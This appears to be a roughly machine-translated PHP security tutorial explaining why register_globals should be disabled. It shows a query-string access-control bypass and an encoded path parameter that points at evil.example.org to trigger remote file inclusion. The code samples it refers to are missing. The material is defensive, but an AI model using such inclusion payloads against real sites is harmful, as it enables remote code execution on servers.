RegisterGlobals for PHP Security

RegisterGlobals for PHP Security. read RegisterGlobals for PHP security. The register_globals parameter is blocked by default in PHP 4.2.0 and later versions. Although this is not considered a security vulnerability, it is indeed a security risk. Therefore, you should always block register_globals during development. Why is this a security

The register_globals parameter is blocked by default in PHP 4.2.0 and later versions. Although this is not considered a security vulnerability, it is indeed a security risk. Therefore, you should always block register_globals during development.

Why is this a security risk? A separate description is required for each situation to be clearly described. it is very difficult to give only one proper example for all cases. In any case, the most common example is described in the PHP manual:

When the register_globals parameter is enabled, can this page be used? Authorized = 1 parameter access, thus bypassing access control. Of course, this obvious vulnerability is caused by poor development, rather than register_globals, but this significantly increases the possibility of a dangerous vulnerability. This effect is eliminated. common global variables (such as $ authorized in this example) will no longer be affected by the data submitted by the client. The best way is to initialize all the variables and set the error_reporting parameter to E_ALL, so that uninitialized variables will not be ignored during development.

Another example of register_globals is that the use of include contains dynamic paths may cause problems:

When the register_globals parameter is enabled, can this page be used? Path = http % 3A % 2F % 2Fevil.example.org % 2F % 3F parameter access makes the code in this example equivalent to the following code:

If the allow_url_fopen parameter is enabled (even in php. ini-recommended, it is enabled by default), it will be like a remote file containing a local file such as http://evil.example.org. This is a common security vulnerability, even found in some well-known open-source projects.

Initializing $ path can avoid this risk and does not block the register_globals parameter. However, developer errors may produce uninitialized variables. modifying the global configuration to shield the register_globals parameter can avoid this risk as much as possible.

Convenience is always pleasant. in the past, we had to manually distinguish between form data and common variables. The use of $ _ POST and $ _ GET built-in Global arrays is also very convenient, and bear the risk caused by enabling the register_globals parameter is not worthwhile. Although I do not agree that enabling the register_globals parameter is equivalent to weak security, I strongly recommend that you disable it.

It should be noted that blocking the register_globals parameter will help developers pay more attention to the data source, which is exactly what a security-aware developer should possess.